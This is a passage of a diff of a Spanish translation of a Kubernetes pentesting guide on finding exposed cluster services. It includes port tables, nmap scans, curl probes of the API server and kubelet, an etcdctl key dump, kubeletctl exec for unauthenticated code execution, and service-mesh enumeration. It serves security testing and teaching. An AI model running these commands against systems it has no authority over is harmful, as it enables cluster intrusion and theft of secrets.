credenciales de cloud estén en alcance: acceso público/privado al endpoint de EKS y CIDRs públicos, configuración pública/privada del control plane de GKE y authorized networks, y configuración de IP autorizadas para cluster privado/API server de AKS. +- Herramientas de plataforma expuestas alrededor del cluster como Argo CD, Prometheus, Grafana, Harbor, registries, dashboards de CI/CD, service mesh dashboards y endpoints de administración o métricas del ingress-controller. + +Trata esto como pistas de atribución y priorización. Una aplicación pública de Ingress es normal en muchos clusters, mientras que kubelet expuesto, etcd, dashboard, control de despliegue de CI/CD o kubeconfig filtrado deben priorizarse mucho más. + +## Cómo Kubernetes expone Services + +Puede resultarte útil entender cómo Kubernetes puede **exponer services públicamente** para encontrarlos: {{#ref}} ../exposing-services-in-kubernetes.md {{#endref}} -## Finding Exposed pods via port scanning +## Encontrar pods expuestos mediante port scanning -Los siguientes puertos podrían estar abiertos en un clúster de Kubernetes: +Los siguientes puertos podrían estar abiertos en un cluster de Kubernetes: | Port | Process | Description | | --------------- | -------------- | ---------------------------------------------------------------------- | -| 443/TCP | kube-apiserver | Puerto de la API de Kubernetes | +| 443/TCP | kube-apiserver | Kubernetes API port | | 2379/TCP | etcd | | | 6666/TCP | etcd | etcd | -| 4194/TCP | cAdvisor | Métricas de contenedores | -| 6443/TCP | kube-apiserver | Puerto de la API de Kubernetes | -| 8443/TCP | kube-apiserver | Puerto de la API de Minikube | -| 8080/TCP | kube-apiserver | Puerto de API inseguro | -| 10250/TCP | kubelet | API HTTPS que permite acceso en modo completo | -| 10255/TCP | kubelet | Puerto HTTP de solo lectura sin autenticación: pods, pods en ejecución y estado del nodo | -| 10256/TCP | kube-proxy | Servidor de comprobación de salud de Kube Proxy | -| 9099/TCP | calico-felix | Servidor de comprobación de salud para Calico | -| 6782-4/TCP | weave | Métricas y endpoints | -| 30000-32767/TCP | NodePort | Proxy a los servicios | -| 44134/TCP | Tiller | Servicio de Helm escuchando | +| 4194/TCP | cAdvisor | Container metrics | +| 6443/TCP | kube-apiserver | Kubernetes API port | +| 8443/TCP | kube-apiserver | Minikube API port | +| 8080/TCP | kube-apiserver | Insecure API port | +| 10250/TCP | kubelet | HTTPS API which allows full mode access | +| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state | +| 10256/TCP | kube-proxy | Kube Proxy health check server | +| 9099/TCP | calico-felix | Health check server for Calico | +| 6782-4/TCP | weave | Metrics and endpoints | +| 30000-32767/TCP | NodePort | Proxy to the services | +| 44134/TCP | Tiller | Helm service listening | ### Nmap ```bash @@ -43,7 +53,7 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678 ``` ### Kube-apiserver -Este es el **servicio API de Kubernetes** con el que los administradores hablan normalmente usando la herramienta **`kubectl`**. +Este es el **servicio API de Kubernetes** con el que los administradores suelen comunicarse usando la herramienta **`kubectl`**. **Puertos comunes: 6443 y 443**, pero también 8443 en minikube y 8080 como inseguro. ```bash @@ -51,7 +61,7 @@ curl -k https://:(8|6)443/swaggerapi curl -k https://:(8|6)443/healthz curl -k https://:(8|6)443/api/v1 ``` -**Consulta la siguiente página para aprender cómo obtener datos sensibles y realizar acciones sensibles hablando con este servicio:** +**Revisa la siguiente página para aprender cómo obtener datos sensibles y realizar acciones sensibles hablando con este servicio:** {{#ref}} ../kubernetes-enumeration.md @@ -59,16 +69,16 @@ curl -k https://:(8|6)443/api/v1 ### Kubelet API -Este servicio **se ejecuta en cada node del cluster**. Es el servicio que **controlará** los pods dentro del **node**. Se comunica con el **kube-apiserver**. +Este servicio **se ejecuta en cada nodo del cluster**. Es el servicio que **controlará** los pods dentro del **nodo**. Se comunica con el **kube-apiserver**. -Si encuentras este servicio expuesto, podrías haber encontrado un **RCE no autenticado**. +Si encuentras este servicio expuesto, podrías haber encontrado una **RCE sin autenticación**. #### Kubelet API ```bash curl -k https://:10250/metrics curl -k https://:10250/pods ``` -Si la respuesta es `Unauthorized` entonces requiere autenticación. +Si la respuesta es `Unauthorized`, entonces requiere autenticación. Si puedes listar nodes, puedes obtener una lista de endpoints de kubelets con: ```bash @@ -104,10 +114,33 @@ curl -k https://:4194 ``` ### NodePort -Cuando un puerto está expuesto en todos los nodos mediante un **NodePort**, se abre el mismo puerto en todos los nodos, proxificando el tráfico hacia el **Service** declarado. Por defecto, este puerto estará en el **rango 30000-32767**. Por lo tanto, nuevos servicios sin verificar podrían ser accesibles a través de esos puertos. +Cuando un puerto se expone en todos los nodos mediante un **NodePort**, se abre el mismo puerto en todos los nodos, proxificando el tráfico hacia el **Service** declarado. Por defecto, este puerto estará en el **rango 30000-32767**. Así que nuevos servicios no verificados podrían ser accesibles a través de esos puertos. ```bash sudo nmap -sS -p 30000-32767 ``` +### Service mesh and proxy surfaces + +Los clústeres que usan **Istio, Linkerd, Cilium service mesh, or Envoy-based gateways** añaden otra capa de servicios para enumerar. Un mesh puede proporcionar mTLS, workload identity, L7 routing, authorization policy, telemetry y controles de gateway/egress, pero solo protege el tráfico que realmente está inscrito e interceptado por el mesh. + +Comprobaciones útiles desde acceso a Kubernetes: +```bash +kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium' +kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io' +kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep 'istio|linkerd|cilium' +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name' +kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble' +``` +Review: + +- Namespaces or workloads that opted out of injection, still run without a proxy, or were created before injection was enabled. +- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources. +- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources. +- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces. +- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points. +- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly. + +Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route. + ## Vulnerable Misconfigurations ### Kube-apiserver Anonymous Access @@ -118,9 +151,9 @@ Anonymous access to **kube-apiserver API endpoints is not allowed**. But you cou ### **Checking for ETCD Anonymous Access** -The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check. +ETCD almacena los secretos del cluster, archivos de configuración y más datos **sensibles**. Por **defecto**, ETCD **no puede** accederse **anónimamente**, pero siempre es bueno comprobarlo. -If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored: +Si ETCD puede accederse anónimamente, quizá necesites **usar la** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **herramienta**. El siguiente comando obtendrá todas las keys almacenadas: ```bash etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` @@ -128,15 +161,15 @@ etcdctl --endpoints=http://:2379 get / --prefix --keys-only La [**documentación de Kubelet**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explica que, por **defecto, el acceso anónimo** al servicio está **permitido:** -> Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated` +> Habilita solicitudes anónimas al servidor Kubelet. Las solicitudes que no sean rechazadas por otro método de autenticación se tratan como solicitudes anónimas. Las solicitudes anónimas tienen un nombre de usuario `system:anonymous`, y un nombre de grupo `system:unauthenticated` -Para entender mejor cómo **funcionan la autenticación y la autorización de la API de Kubelet** consulta esta página: +Para entender mejor cómo funciona la **autenticación y autorización de la API de Kubelet** revisa esta página: {{#ref}} kubelet-authentication-and-authorization.md {{#endref}} -La **API** del servicio **Kubelet no está documentada**, pero el código fuente puede encontrarse aquí y descubrir los endpoints expuestos es tan fácil como **ejecutar**: +La **API** del servicio **Kubelet** **no está documentada**, pero el código fuente se puede encontrar aquí y encontrar los endpoints expuestos es tan fácil como **ejecutar**: ```bash curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/' @@ -154,24 +187,24 @@ Puedes usar la herramienta [**Kubeletctl**](https://github.com/cyberark/kubeletc #### /pods -Este endpoint lista pods y sus containers: +Este endpoint lista los pods y sus contenedores: ```bash kubeletctl pods ``` #### /exec -Este endpoint permite ejecutar código dentro de cualquier contenedor de forma muy sencilla: +Este endpoint permite ejecutar código dentro de cualquier contenedor muy fácilmente: ```bash kubeletctl exec [command] ``` > [!NOTE] -> To avoid this attack the _**kubelet**_ service should be run with `--anonymous-auth false` and the service should be segregated at the network level. +> Para evitar este ataque, el servicio _**kubelet**_ debería ejecutarse con `--anonymous-auth false` y el servicio debería estar segregado a nivel de red. -### **Comprobando la Exposición de Información del Kubelet (Read Only Port)** +### **Comprobando la exposición de información de Kubelet (Read Only Port)** -Cuando un **kubelet read-only port** está expuesto, es posible que partes no autorizadas recuperen información de la API. La exposición de este puerto puede llevar a la divulgación de varios **elementos de configuración del cluster**. Aunque la información, incluyendo **nombres de pod, ubicaciones de archivos internos y otras configuraciones**, puede no ser crítica, su exposición sigue representando un riesgo de seguridad y debe evitarse. +Cuando un **kubelet read-only port** está expuesto, se vuelve posible que partes no autorizadas recuperen información de la API. La exposición de este puerto puede llevar a la divulgación de varios **elementos de configuración del cluster**. Aunque la información, incluidos los **nombres de pod, las ubicaciones de archivos internos y otras configuraciones**, puede no ser crítica, su exposición sigue representando un riesgo de seguridad y debería evitarse. -Un ejemplo de cómo puede explotarse esta vulnerabilidad implica a un atacante remoto accediendo a una URL específica. Al navegar a `http://:10255/pods`, el atacante puede recuperar potencialmente información sensible del kubelet: +Un ejemplo de cómo se puede explotar esta vulnerabilidad implica que un atacante remoto acceda a una URL específica. Al navegar a `http://:10255/pods`, el atacante puede potencialmente recuperar información sensible desde el kubelet: ![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)